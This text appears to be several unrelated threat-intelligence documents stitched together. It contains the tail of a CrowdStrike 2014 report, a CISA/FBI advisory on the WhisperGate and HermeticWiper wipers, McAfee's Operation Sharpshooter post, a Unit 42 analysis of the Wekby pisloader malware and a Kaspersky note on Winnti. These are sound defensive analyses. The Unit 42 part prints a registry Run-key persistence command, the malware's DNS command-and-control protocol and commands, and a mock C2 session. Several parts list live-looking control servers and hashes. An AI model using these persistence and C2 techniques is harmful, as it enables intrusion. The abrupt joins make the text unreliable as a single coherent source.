CrowdStrike Intelligence is also aware of DDOS threats against other gaming platforms including Valve Software, which appeared to be targeted by a DNS amplification DDOS attack that is similar to previous LizardSquad activity.
Malicious actors have already engaged in disruptive campaigns in early 2015.
Following the January terrorist attacks in France, a group of Islamist hackers known as Fallaga conducted DDOS attacks against servers hosting websites for French foreign embassies.
Soon after, another Islamist group identifying with ISIS took control of the Twitter and youTube accounts for U.S. Central Command and posted a number of messages threatening U.S. troops and their families.
Organizations in all sectors should be aware of, and prepared for, destructive and disruptive attacks.
These operations are often motivated by a specific grievance, but sometimes no clear motivation can be established.
Continuous monitoring for publicized threats against an organization, or for potential areas of controversy that could motivate malicious activity, is vital to detect and prepare for these types of attacks.
the question now is: How do you incorporate intelligence into your daily defenses and prioritize resources based on risk to your business?
Conclusion 73 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n In the course of reviewing 2014, there were so many interesting events, adversaries, and innovations that selecting examples for this report was an incredible challenge.
The CrowdStrike Intelligence team spent much time narrowing the scope of topics covered herein.
The adversaries in 2014 proved, if nothing else, to be dynamic, persistent, and innovative.
Defenders must be inventive, diligent, and decisive in their efforts to defend the enterprise from these attackers.
2015 will be a continuation of the cat-and-mouse game that is played between the adversary and the defender.
Adversaries across the motivational spectrum will continue to evolve their tactics in order to achieve their objectives.
Although tactics may evolve, network defenders will be able to have success against the adversary so long as they are well prepared.
Intelligence will provide the decisive advantage to both sides, and having a good defense will be predicated on having an informed, intelligent defensive team.
The incorporation of intelligence into the daily defense of the enterprise will continue to be paramount and products, services, and solution providers will need to use this intelligence to stay ahead of the adversary.
At CrowdStrike, intelligence powers everything we do, and as 2015 unfolds, organizations using intelligence will be better prepared to detect, deter, and defend against their adversaries.
Conclusion 74 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n CrowdStrike Falcon Intelligence portal provides enterprises with strategic, customized, and actionable intelligence.
Falcon Intelligence enables organizations to prioritize resources by determining targeted versus commodity attacks, saving time and focusing resources on critical threats.
With unprecedented insight into adversary Tactics, Techniques, and Procedures (TTPs) and multi-source information channels, analysts can identify pending attacks and automatically feed threat intelligence via API to SIEM and third-party security tools.
Access to CrowdStrike Falcon Intelligence is geared toward all levels of an organization, from the executive who needs to understand the business threat and strategic business impact, to the front- line security professional struggling to fight through an adversarys attack against the enterprise.
CrowdStrike Falcon Intelligence is a web-based intelligence subscription that includes full access to a variety of feature sets, including: Detailed technical and strategic analysis of 50 adversaries capabilities, indicators and tradecraft, attribution, and intentions Customizable feeds and API for indicators of compromise in a wide variety of formats Tailored intelligence that provides visibility into breaking events that matter to an organizations brand, infrastructure, and customers CrowDSTrIKe FAlCon intelligenCe www .
c r ow d s t r i k e .
c om Let us show you how CrowdStrike can help you understand your adversary and better protect your network in 2015 Contact salescrowdstrike.com to discuss your specific needs.
888-512-8906 76 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n crowdstrike is a leading provider of next- generation endpoint protection, threat intelligence, and services.
CrowdStrike Falcon enables customers to prevent damage from targeted attacks, detect and attribute advanced malware and adversary activity in real time, and effortlessly search all endpoints, reducing overall incident response time.
crowdstrike customers include some of the largest blue chip companies in the financial services, energy, oil gas, telecommunications, retail, and technology sectors, along with some of the largest and most sophisticated government agencies worldwide.
AboUT CrowdStrike to learn more, please visit www.crowdstrike.com
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field-offices, or the FBIs 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e- mail at CyWatchfbi.gov.
When available, please include the following information regarding the incident: date, time, and location of the incident type of activity number of people affected type of equipment used for the activity the name of the submitting company or organization and a designated point of contact.
To request incident response resources or technical assistance related to these threats, contact CISA at CISAServiceDeskcisa.dhs.gov.
This document is marked TLP:WHITE.
Disclosure is not limited.
Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release.
Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
For more information on the Traffic Light Protocol, see https://www.cisa.gov/tlp.
TLP Product ID: AA22-057A February 26, 2022 Co-Authored by: TLP:WHITE TLP:WHITE Destructive Malware Targeting Organizations in Ukraine SUMMARY Leading up to Russias unprovoked attack against Ukraine, threat actors deployed destructive malware against organizations in Ukraine to destroy computer systems and render them inoperable.
On January 15, 2022, the Microsoft Threat Intelligence Center (MSTIC) disclosed that malware, known as WhisperGate, was being used to target organizations in Ukraine.
According to Microsoft, WhisperGate is intended to be destructive and is designed to render targeted devices inoperable.
On February 23, 2022, several cybersecurity researchers disclosed that malware known as HermeticWiper was being used against organizations in Ukraine.
According to Sentinel Labs, the malware targets Windows devices, manipulating the master boot record, which results in subsequent boot failure.
Destructive malware can present a direct threat to an organizations daily operations, impacting the availability of critical assets and data.
Further disruptive cyberattacks against organizations in Ukraine are likely to occur and may unintentionally spill over to organizations in other countries.
Organizations should increase vigilance and evaluate their capabilities encompassing planning, preparation, detection, and response for such an event.
This joint Cybersecurity Advisory (CSA) between the Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) provides information on WhisperGate and HermeticWiper malware as well as open-source indicators of compromise (IOCs) for organizations to detect and prevent the malware.
Additionally, this joint CSA provides recommended guidance and Actions to Take Today: Set antivirus and antimalware programs to conduct regular scans.
Enable strong spam filters to prevent phishing emails from reaching end users.
Filter network traffic.
Update software.
Require multifactor authentication.
https://www.fbi.gov/contact-us/field-offices mailto:CyWatchfbi.gov mailto:CISAServiceDeskcisa.dhs.gov https://www.cisa.gov/tlp https://www.cisa.gov/shields-up https://www.cisa.gov/shields-up https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ https://twitter.com/ESETresearch/status/1496581903205511181 https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ CISA FBI TLP:WHITE Page 2 of 9 Product ID: AA22-057A TLP:WHITE considerations for organizations to address as part of network architecture, security baseline, continuous monitoring, and incident response practices.
TECHNICAL DETAILS Threat actors have deployed destructive malware, including both WhisperGate and HermeticWiper, against organizations in Ukraine to destroy computer systems and render them inoperable.
Listed below are high-level summaries of campaigns employing the malware.
CISA recommends organizations review the resources listed below for more in-depth analysis and see the Mitigation section for best practices on handling destructive malware.
On January 15, 2022, Microsoft announced the identification of a sophisticated malware operation targeting multiple organizations in Ukraine.
The malware, known as WhisperGate, has two stages that corrupts a systems master boot record, displays a fake ransomware note, and encrypts files based on certain file extensions.
Note: although a ransomware message is displayed during the attack, Microsoft highlighted that the targeted data is destroyed, and is not recoverable even if a ransom is paid.
See Microsofts blog on Destructive malware targeting Ukrainian organizations for more information and see the IOCs in table 1.
Table 1: IOCs associated with WhisperGate Name File Category File Hash Source WhisperGate stage1.exe a196c6b8ffcb97ffb276d04f354696e2391311 db3841ae16c8c9f56f36a38e92 Microsoft MSTIC WhisperGate stage2.exe dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5 329958d38b58c3fd9384081c9b78 Microsoft MSTIC On February 23, 2022, cybersecurity researchers disclosed that malware known as HermeticWiper was being used against organizations in Ukraine.
According to Sentinel Labs, the malware targets Windows devices, manipulating the master boot record and resulting in subsequent boot failure.
Note: according to Broadcom, [HermeticWiper] has some similarities to the earlier WhisperGate wiper attacks against Ukraine, where the wiper was disguised as ransomware.
See the following resources for more information and see the IOCs in table 2 below.
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Common examples include: Centralized storage devices o Potential risk direct access to partitions and data warehouses.
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Common examples include: Centralized storage devices o Potential risk direct access to partitions and data warehouses.
Network devices o Potential risk capability to inject false routes within the routing table, delete specific routes from the routing table, remove/modify configuration attributes, or destroy firmware or system binarieswhich could isolate or degrade availability of critical network resources.
CISA FBI TLP:WHITE Page 5 of 9 Product ID: AA22-057A TLP:WHITE Best Practices and Planning Strategies Common strategies can be followed to strengthen an organizations resilience against destructive malware.
Targeted assessment and enforcement of best practices should be employed for enterprise components susceptible to destructive malware.
Communication Flow Ensure proper network segmentation.
Ensure that network-based access control lists (ACLs) are configured to permit server-to-host and host-to-host connectivity via the minimum scope of ports and protocols and that directional flows for connectivity are represented appropriately.
o Communications flow paths should be fully defined, documented, and authorized.
Increase awareness of systems that can be used as a gateway to pivot (lateral movement) or directly connect to additional endpoints throughout the enterprise.
o Ensure that these systems are contained within restrictive Virtual Local Area Networks (VLANs), with additional segmentation and network access controls.
Ensure that centralized network and storage devices management interfaces reside on restrictive VLANs.
o Layered access control, and o Device-level access control enforcement restricting access from only pre-defined VLANs and trusted IP ranges.
Access Control For enterprise systems that can directly interface with multiple endpoints: o Require multifactor authentication for interactive logons.
o Ensure that authorized users are mapped to a specific subset of enterprise personnel.
If possible, the Everyone, Domain Users, or the Authenticated Users groups should not be permitted the capability to directly access or authenticate to these systems.
o Ensure that unique domain accounts are used and documented for each enterprise application service.
Context of permissions assigned to these accounts should be fully documented and configured based upon the concept of least privilege.
Provides an enterprise with the capability to track and monitor specific actions correlating to an applications assigned service account.
o If possible, do not grant a service account with local or interactive logon permissions.
Service accounts should be explicitly denied permissions to access network shares and critical data locations.
o Accounts that are used to authenticate to centralized enterprise application servers or devices should not contain elevated permissions on downstream systems and resources throughout the enterprise.
Continuously review centralized file share ACLs and assigned permissions.
o Restrict Write/Modify/Full Control permissions when possible.
Monitoring Audit and review security logs for anomalous references to enterprise-level administrative (privileged) and service accounts.
CISA FBI TLP:WHITE Page 6 of 9 Product ID: AA22-057A TLP:WHITE o Failed logon attempts, o File share access, and o Interactive logons via a remote session.
Review network flow data for signs of anomalous activity, including: o Connections using ports that do not correlate to the standard communications flow associated with an application, o Activity correlating to port scanning or enumeration, and o Repeated connections using ports that can be used for command and control purposes.
Ensure that network devices log and audit all configuration changes.
o Continually review network device configurations and rule sets to ensure that communications flows are restricted to the authorized subset of rules.
File Distribution When deploying patches or AV signatures throughout an enterprise, stage the distributions to include a specific grouping of systems (staggered over a pre-defined period).
o This action can minimize the overall impact in the event that an enterprise patch management or AV system is leveraged as a distribution vector for a malicious payload.
Monitor and assess the integrity of patches and AV signatures that are distributed throughout the enterprise.
o Ensure updates are received only from trusted sources, o Perform file and data integrity checks, and o Monitor and audit as related to the data that is distributed from an enterprise application.
System and Application Hardening Ensure robust vulnerability management and patching practices are in place.
o CISA maintains a living catalog of known exploited vulnerabilities that carry significant risk to federal agencies as well as public and private sectors entities.
In addition to thoroughly testing and implementing vendor patches in a timelyand, if possible, automatedmanner, organizations should ensure patching of the vulnerabilities CISA includes in this catalog.
Ensure that the underlying operating system (OS) and dependencies (e.g., Internet Information Services [IIS], Apache, Structured Query Language [SQL]) supporting an application are configured and hardened based upon industry-standard best practice recommendations.
Implement application-level security controls based on best practice guidance provided by the vendor.
Common recommendations include: o Use role-based access control, o Prevent end-user capabilities to bypass application-level security controls, For example, do not allow users to disable AV on local workstations.
o Remove, or disable unnecessary or unused features or packages, and o Implement robust application logging and auditing.
https://cisa.gov/known-exploited-vulnerabilities CISA FBI TLP:WHITE Page 7 of 9 Product ID: AA22-057A TLP:WHITE Recovery and Reconstitution Planning A business impact analysis (BIA) is a key component of contingency planning and preparation.
The overall output of a BIA will provide an organization with two key components (as related to critical mission/business operations): Characterization and classification of system components, and Interdependencies.
Based upon the identification of an organizations mission critical assets (and their associated interdependencies), in the event that an organization is impacted by destructive malware, recovery and reconstitution efforts should be considered.
To plan for this scenario, an organization should address the availability and accessibility for the following resources (and should include the scope of these items within incident response exercises and scenarios): Comprehensive inventory of all mission critical systems and applications: o Versioning information, o System/application dependencies, o System partitioning/storage configuration and connectivity, and o Asset owners/points of contact.
Contact information for all essential personnel within the organization, Secure communications channel for recovery teams, Contact information for external organizational-dependent resources: o Communication providers, o Vendors (hardware/software), and o Outreach partners/external stakeholders Service contract numbers for engaging vendor support, Organizational procurement points of contact, Optical disc image (ISO)/image files for baseline restoration of critical systems and applications: o OS installation media, o Service packs/patches, o Firmware, and o Application software installation packages.
Licensing/activation keys for OS and dependent applications, Enterprise network topology and architecture diagrams, System and application documentation, Hard copies of operational checklists and playbooks, System and application configuration backup files, Data backup files (full/differential), System and application security baseline and hardening checklists/guidelines, and System and application integrity test and acceptance checklists.
Incident Response Victims of a destructive malware attacks should immediately focus on containment to reduce the scope of affected systems.
Strategies for containment include: https://www.ready.gov/business-impact-analysis CISA FBI TLP:WHITE Page 8 of 9 Product ID: AA22-057A TLP:WHITE Determining a vector common to all systems experiencing anomalous behavior (or having been rendered unavailable)from which a malicious payload could have been delivered: o Centralized enterprise application, o Centralized file share (for which the identified systems were mapped or had access), o Privileged user account common to the identified systems, o Network segment or boundary, and o Common Domain Name System (DNS) server for name resolution.
Based upon the determination of a likely distribution vector, additional mitigation controls can be enforced to further minimize impact: o Implement network-based ACLs to deny the identified application(s) the capability to directly communicate with additional systems, Provides an immediate capability to isolate and sandbox specific systems or resources.
o Implement null network routes for specific IP addresses (or IP ranges) from which the payload may be distributed, An organizations internal DNS can also be leveraged for this task, as a null pointer record could be added within a DNS zone for an identified server or application.
o Readily disable access for suspected user or service account(s), o For suspect file shares (which may be hosting the infection vector), remove access or disable the share path from being accessed by additional systems, and o Be prepared to, if necessary, reset all passwords and tickets within directories (e.g., changing golden/silver tickets).
As related to incident response and incident handling, organizations are encouraged to report incidents to the FBI and CISA (see the Contact section below) and to preserve forensic data for use in internal investigation of the incident or for possible law enforcement purposes.
See Technical Approaches to Uncovering and Remediating Malicious Activity for more information.
CONTACT All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at centralcisa.dhs.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBIs 24/7 CyWatch at (855) 292-3937 or CyWatchfbi.gov.
RESOURCES Joint CSA: Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure Joint CSA: NSA and CISA Recommend Immediate Actions to Reduce Exposure Across Operational Technologies and Control Systems Joint CSA: Ongoing Cyber Threats to U.S. Water and Wastewater Systems CISA and MS-ISAC: Joint Ransomware Guide NIST: Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events NIST: Data Integrity: Recovering from Ransomware and Other Destructive Events https://www.cisa.gov/uscert/ncas/alerts/aa20-245a https://www.cisa.gov/uscert/ncas/alerts/aa20-245a mailto:centralcisa.dhs.gov https://www.fbi.gov/contact-us/field-offices mailto:CyWatchfbi.gov https://www.cisa.gov/uscert/ncas/alerts/aa22-011a https://www.cisa.gov/uscert/ncas/alerts/aa22-011a https://www.cisa.gov/uscert/ncas/alerts/aa20-205a https://www.cisa.gov/uscert/ncas/alerts/aa20-205a https://www.cisa.gov/uscert/ncas/alerts/aa21-287a https://www.cisa.gov/sites/default/files/publications/CISA_MS-ISAC_Ransomware20Guide_S508C.pdf https://www.nccoe.nist.gov/projects/building-blocks/data-integrity/detect-respond https://www.nccoe.nist.gov/projects/building-blocks/data-integrity/recover CISA FBI TLP:WHITE Page 9 of 9 Product ID: AA22-057A TLP:WHITE CISA Cyber hygiene services: CISA offers a range of no-cost services to help critical infrastructure organizations assess, identify and reduce their exposure to threats, including ransomware.
By requesting and leveraging these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors.
https://www.cisa.gov/cyber-hygiene-services
December 12, 2018 Operation Sharpshooter Targets Global Defense, Critical Infrastructure securingtomorrow.mcafee.com/blogs/other-blogs/mcafee-labs/operation-sharpshooter-targets-global- defense-critical-infrastructure/ By Ryan Sherstobitoff and Asheer Malhotra on Dec 12, 2018 This post was written with contributions from the McAfee Advanced Threat Research team.
The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee Global Threat Intelligence.
This campaign, Operation Sharpshooter, leverages an in-memory implant to download and retrieve a second-stage implantwhich we call Rising Sunfor further exploitation.
According to our analysis, the Rising Sun implant uses source code from the Lazarus Groups 2015 backdoor Trojan Duuzer in a new framework to infiltrate these key industries.
Operation Sharpshooters numerous technical links to the Lazarus Group seem too obvious to immediately draw the conclusion that they are responsible for the attacks, and instead indicate a potential for false flags.
Our research focuses on how this actor operates, the global impact, and how to detect the attack.
We shall leave attribution to the broader security community.
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Source: McAfee Global Threat Intelligence.
2/5 Infection flow of the Rising Sun implant, which eventually sends data to the attackers control servers.
Conclusion Our discovery of this new, high-function implant is another example of how targeted attacks attempt to gain intelligence.
The malware moves in several steps.
The initial attack vector is a document that contains a weaponized macro to download the next stage, which runs in 3/5 memory and gathers intelligence.
The victims data is sent to a control server for monitoring by the actors, who then determine the next steps.
We have not previously observed this implant.
Based on our telemetry, we discovered that multiple victims from different industry sectors around the world have reported these indicators.
Was this attack just a first-stage reconnaissance operation, or will there be more?
We will continue to monitor this campaign and will report further when we or others in the security industry receive more information.
The McAfee Advanced Threat Research team encourages our peers to share their insights and attribution of who is responsible for Operation Sharpshooter.
Indicators of compromise MITRE ATTCK techniques Account discovery File and directory discovery Process discovery System network configuration discovery System information discovery System network connections discovery System time discovery Automated exfiltration Data encrypted Exfiltration over command and control channel Commonly used port Process injection Hashes 8106a30bd35526bded384627d8eebce15da35d17 66776c50bcc79bbcecdbe99960e6ee39c8a31181 668b0df94c6d12ae86711ce24ce79dbe0ee2d463 9b0f22e129c73ce4c21be4122182f6dcbc351c95 31e79093d452426247a56ca0eff860b0ecc86009 Control servers 34.214.99.20/view_style.php 137.74.41.56/board.php kingkoil.com.sg/board.php 4/5 Document URLs hxxp://208.117.44.112/document/Strategic Planning Manager.doc hxxp://208.117.44.112/document/Business Intelligence Administrator.doc hxxp://www.dropbox.com/s/2shp23ogs113hnd/Customer Service Representative.doc?
dl1 McAfee detection RDN/Generic Downloader.x Rising-Sun Rising-Sun-DOC 5/5 Operation Sharpshooter Targets Global Defense, Critical Infrastructure
New Wekby Attacks Use DNS Requests As Command and Control Mechanism posted by: Josh Grunzweig, Mike Scott and Bryan Lee on May 24, 2016 11:30 AM filed in: Malware, Threat Prevention, Unit 42 tagged: command and control, DNS, pisloader, Wekby We have observed an attack led by the APT group Wekby targeting a US-based organization in recent weeks.
Wekby is a group that has been active for a number of years, targeting various industries such as healthcare, telecommunications, aerospace, defense, and high tech.
The group is known to leverage recently released exploits very shortly after those exploits are available, such as in the case of HackingTeams Flash zero-day exploit.
The malware used by the Wekby group has ties to the HTTPBrowser malware family, and uses DNS requests as a command and control mechanism.
Additionally, it uses various obfuscation techniques to thwart researchers during analysis.
Based on metadata seen in the discussed samples, Palo Alto Networks has named this malware family pisloader.
Infrastructure The pisloader malware family was delivered via HTTP from the following URL.
At the time of writing, this URL was still active.
http://globalprint-us[.
]com/proxy_plugin.exe Other samples hosted on this domain include the following: http://globalprint-us[.
]com/proxy_web_plugin.exe MD5: E4968C8060EA017B5E5756C16B80B012 SHA256: 8FFBB7A80EFA9EE79E996ABDE7A95CF8DC6F9A41F9026672A8DBD95539FEA82A Size: 126976 Bytes Compile Time: 2016-04-28 00:38:46 UTC This discovered file was found to be an instance of the common Poison Ivy malware family with the following configuration data: Command and Control Address: intranetwabcam[.
]com Command and Control Port: 80 Password: admin Mutex: )VoqA.I5 The domains witnessed in this attack were all registered very shortly prior to being used.
The following domains have been witnessed in this attack: Additionally, the following IP resolutions have been observed.
Initial Dropper The following sample was discovered initially and is referenced in the subsequent analysis: MD5: E8D58AA76DD97536AC225949A2767E05 SHA256: DA3261C332E72E4C1641CA0DE439AF280E064B224D950817A11922A8078B11F1 Size: 126976 Bytes Compile Time: 2016-04-27 14:37:34 UTC This particular file has the following metadata properties.
The references to pisload2 led to the naming of this malware family.
Figure 1 pisloader dropper metadata The initial dropper contains very simple code that is responsible for setting persistence via the Run registry key, and dropping and executing an embedded Windows executable.
Limited obfuscation was encountered, where the authors split up strings into smaller sub-strings and used strcpy and strcat calls to re-build them prior to use.
They also used this same technique to generate garbage strings that are never used.
This is likely to deter detection and analysis of the sample.
The following decompiled code demonstrates this.
Comments have been added to show the fully-generated strings.
Figure 2 pisloader dropper building strings and setting persistence In the above decompiled code, we see that the pisloader is generating the following string, which eventually is called to set the Run registry key.
cmd.exe /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v lsm /t reg_sz /d appdata\lsm.exe /f This particular command will set the HKCU\Software\Microsoft\Windows\CurrentVersion\Run\lsm registry key with a value of appdata\lsm.exe.
After this key is set, the malware proceeds to decrypt a two blobs of data with a single-byte XOR key of 0x54.
The resulting data is written to the appdata\lsm.exe file path.
After this file is written, the malware executes the newly written lsm.exe file, which contains the pisloader payload.
Payload The following sample was discovered and is referenced in the subsequent analysis: MD5: 07B9B62FB3B1C068837C188FEFBD5DE9 SHA256: 456FFFC256422AD667CA023D694494881BAED1496A3067485D56ECC8FEFBFAEB Size: 102400 Bytes Compile Timestamp: 2016-04-27 13:39:02 UTC The payload is heavily obfuscated using a return-oriented programming (ROP) technique, as well as a number of garbage assembly instructions.
In the example below, code highlighted in red essentially serves no purpose other than to deter reverse-engineering of the sample.
This code can be treated as garbage and ignored.
The entirety of the function is highlighted in green, where two function offsets are pushed to the stack, followed by a return instruction.
This return instruction will point code execution first at the null function, which in turn will point code execution to the next_function.
This technique is used throughout the runtime of the payload, making static analysis difficult.
Figure 3 Obfuscated code witnessed in pisloader The malware is actually quite simplistic once the obfuscation and garbage code is ignored.
It will begin by generating a random 10-byte alpha-numeric header.
The remaining data is base32-encoded, with padding removed.
This data will be used to populate a subdomain that will be used in a subsequent DNS request for a TXT record.
The use of DNS as a C2 protocol has historically not been widely adopted by malware authors.
Notable exceptions include the following: FrameworkPOS C3PRO-RACCOON FeederBot Morto PlugX Variants The use of DNS as a C2 allows pisloader to bypass certain security products that may not be inspecting this traffic correctly.
Figure 4 DNS query for TXT record by malware The pisloader sample will send a beacon periodically that is composed of a random 4-byte uppercase string that is used as the payload.
An example of this can be found below: Figure 5 pisloader DNS beacon request The malware expects various aspects of the DNS responses to be set in a specific way, or else pisloader will ignore the DNS reply.
The following DNS flags must be set.
Should any additional flags be set, the response will be ignored.
Response Recursion Desired Recursion Available The Questions field must be set to a value of 0x1.
The Answer Resource Records field must be set to a value of 0x1.
Additionally, the response query subdomain must match the original DNS request.
The remote command and control (C2) server is statically embedded within the malware.
A single host of ns1.logitech-usa[.
]com is found in this specific sample.
The C2 server will respond with a TXT record that is encoded similar to the initial request.
In the response, the first byte is ignored, and the remaining data is base32-encoded.
An example of this can be found below.
Figure 6 Example TXT response by C2 server The following commands, and their descriptions are supported by the malware: sifo Collect victim system information drive List drives on victim machine list List file information for provided directory upload Upload a file to the victim machine open Spawn a command shell Some examples of these commands being used can be seen below.
A mock DNS server was used to generate the commands and receive the resulting data.
Example sending the drive command: Example sending the open command: 1 2 3 [] Sending Command: drive Encoded: CMRZGS5TF [] Raw Data Received: UMAVMGAGD0IE5FY7CDHJOHYRB2LR6A [] Decoded Data Received: A:\C:\D:\ 1 2 [] Sending Command: open Encoded: CN5YGK3Q [] Raw Data Received: ULCBMGAGCAJVUWG4TPONXWM5BAK5UW4ZDPO5ZSAW2WMVZHG2LP Example sending the sifo command: Example listing the contents of the C:\ drive: The sifo command above uses the printf format string of lscsos.
This is consistent with previous versions of HTTPBrowser, which is another malware family frequently used by the Wekby group.
Additionally, a number of commands themselves, such as the list, drive, and upload commands are consistent with HTTPBrowser.
The formatted responses from these commands are also identical.
A known HTTPBrowser sample was spotted with similar metadata as the discussed pisloader sample, which adds further credibility that pisloader is likely a variant of this malware family.
Additionally, the code used to generate these commands is available via GitHub.
3 4 5 6 7 8 9 10 11 [] Raw Data Received: ATABMGAGCBNYQDMLRRFY3TMMBRLUGQUQ3POB4XE2LHNB2CAKDD [] Raw Data Received: HTPDMGAGCCFEQDEMBQHEQE22LDOJXXG33GOQQEG33SOBXXEYLU [] Raw Data Received: BNJWMGAGCDNFXW4LRAEBAWY3BAOJUWO2DUOMQHEZLTMVZHMZLE [] Raw Data Received: UARCMGAGCEFYGQUDIKIM5FYVLTMVZHGXCKN5ZWQICHOJ2W46TX [] Raw Data Received: UJRAMGAGC0MVUWOXCEMVZWW5DPOA7A [] Decoded Data Received: Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation.
All rights reserved.
C:\Users\Josh Grunzweig\Desktop 1 2 3 4 5 [] Sending Command: sifo Encoded: CONUWM3Y [] Raw Data Received: FUBWMGAGIANQ6TCNZSFYYTMLRRFYYTKMZGMM6VOSKOFVGEUTCW [] Raw Data Received: PGHRMGAGIBGJHEWSKPJNICAW2KN5ZWQICHOJ2W46TXMVUWOXJG [] Raw Data Received: MMAZMGAGI0N46TMLBRFQZTE [] Decoded Data Received: l172.16.1.153cWIN-LJLV2NKIOKP [Josh Grunzweig]o6,1,32 1 2 3 4 5 6 7 8 9 10 [] Sending Command: list C:\ Encoded: CNRUXG5BAIM5FY [] Raw Data Received: QKTUMGAGLAGB6CIUTFMN4WG3DFFZBGS3T4GIYDCNJPGAZS6MRW [] Raw Data Received: EKNPMGAGL0EAYTIORUGA5DKN34GB6DEMS6 [] Raw Data Received: RKMAMGAGLAGF6GC5LUN5SXQZLDFZRGC5D4GIYDAOJPGA3C6MJQ [] Raw Data Received: NMSIMGAGL0EAZDCORUGI5DEMD4GI2HYMZSLY [] Raw Data Received: OHRWMGAGLAGB6EE33POR6DEMBRGUXTAMZPGI3CAMJWHIZDIORQ [] Raw Data Received: DPDUMGAGL0GJ6DA7BSGJPA [] Raw Data Received: WIKGMGAGLAGF6GE33PORWWO4T4GIYDCNBPGA3C6MRYEAYDAORS Truncated [] Decoded Data Received: 0Recycle.
Bin2015/03/26 14:40:570221autoexec.bat2009/06/10 21:42:2024320Boot2015/03/26 16:24:020221bootmgr2014/06/28 00:21:34391640391BOOTSECT.BAK2015/03/26 16:35:398192391config.sys2009/06/10 21:42:2010320Documents and Settings2009/07/14 04:53:55092381Example.log2016/02/09 20:17:550321pagefile.sys2016/04/25 14:09:201660411904380PerfLogs2009/07/14 02:37:050160Program Files2016/02/29 15:59:430170ProgramData2016/02/02 17:28:04082100Python272016/02/25 16:39:370160Recovery2015/03/26 14:39:57082140System Volume Information2016/02/29 16:00:190220Users2015/03/26 14:39:580170Windows2016/02/12 10:20:21016end Conclusion The Wekby group continues to target various high profile organizations using sophisticated malware.
The pisloader malware family uses various novel techniques, such as using DNS as a C2 protocol, as well as making use of return-oriented programming and other anti-analysis tactics.
Palo Alto Networks customers are protected against this threat in the following ways: WildFire correctly identifies all pisloader samples as malicious A pisloader AutoFocus tag has been created in order to track this malware family All domains/IPs used in this attack have been flagged as malicious.
An IPS rule has been created to detect pisloader DNS traffic Appendix External Resources https://blog.anomali.com/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via- custom-rop http://www.volexity.com/blog/?p158 https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage https://www.zscaler.com/blogs/research/chinese-cyber-espionage-apt-group-leveraging-recently- leaked-hacking-team-exploits-target-financial-services-firm https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html SHA256 Hashes da3261c332e72e4c1641ca0de439af280e064b224d950817a11922a8078b11f1 930772d6af8f43f62ea78092914fa8d6b03e8e3360dd4678eec1a3dda17206ed 6852ba95720af64809995e04f4818517ca1bd650bc42ea86d9adfdb018d6b274 9200f80c08b21ebae065141f0367f9c88f8fed896b0b4af9ec30fc98c606129b 4d62caef1ca8f4f9aead7823c95228a52852a1145ca6aaa58ad8493e042aed16 1b341dab023de64598d80456349db146aafe9b9e2ec24490c7d0ac881cecc094 456fffc256422ad667ca023d694494881baed1496a3067485d56ecc8fefbfaeb Domains ns1.logitech-usa[.
]com globalprint-us[.
]com intranetwabcam[.
]com login.access-mail[.
]com glb.it-desktop[.
]com local.it-desktop[.
]com hi.getgo2[.
]com
Games are over: Winnti is now targeting pharmaceutical companies For a long time the Winnti group had been considered as a Chinese threat actor targeting gaming companies specifically.
Recently, weve seen information indicating that the scope of targets can be wider and is no longer limited to the entertainment business.
We actually track samples of Winnti malware all the time, but so far we havent been able to catch one with solid clues indicating other targeted industries.
Also our visibility as a vendor does not cover every company in the world (at least so far )) and the Kaspersky Security Network (KSN) did not reveal other attacks except those against gaming companies.
Well, sometimes targeted entities have included telecommunication companies, or better, large holdings, but it seems that at least one of their businesses was in some way related to the production or distribution of computer games.
In April Novetta released its excellent report on the Winnti malware spotted in the operations of Axiom group.
The Axiom group has been presented as an advanced Chinese threat actor carrying out cyber- espionage attacks against a whole range of different industries.
For us, the Novetta report was another source of intelligence that Winnti was already expanding beyond online games.
One of the recent Winnti samples we found appears to confirm this as well.
The new sample belongs to one of the Winnti versions described in Novettas report Winnti 3.0.
This is one of the Dynamic Link Libraries composing this RAT (Remote Access Trojan) platform the worker library (which in essence is the RAT DLL) with the internal name w64.dll and the exported functions work_end and work_start.
Since, as usual, this component is stored on the disk with the strings and much of other data in the PE header removed/zeroed, it is impossible to restore the compilation date of this DLL.
But this library includes two drivers compiled on August 22 and September 4, 2014.
The sample has an encrypted configuration block placed in overlay.
This block may include a tag for the sample usually it is a campaign ID or victim ID/name.
This time the operators put such tag in the configuration and it turned out to be the name of the well-known global pharmaceutical company headquartered in Europe: Pic.1 Configuration block Besides the sample tag, the configuration block includes the names of other files involved in the working https://securelist.com/analysis/internal-threats-reports/37029/winnti-more-than-just-a-game/ http://www.novetta.com/2015/04/operation-smn-winnti-update/ http://www.isightpartners.com/2014/10/operation-smn-axiom-group/ https://kasperskycontenthub.com/securelist/files/2015/06/cfg.png of the RAT platform and the service name (Adobe Service), after which malware is installed.
The presence of the following files could indicate that the system has been compromised: C:\Windows\TEMP\tmpCCD.tmp ServiceAdobe.dll ksadobe.dat One of the mentioned drivers (a known, malicious Winnti network rootkit) was signed with a stolen certificate of a division of a huge Japanese conglomerate.
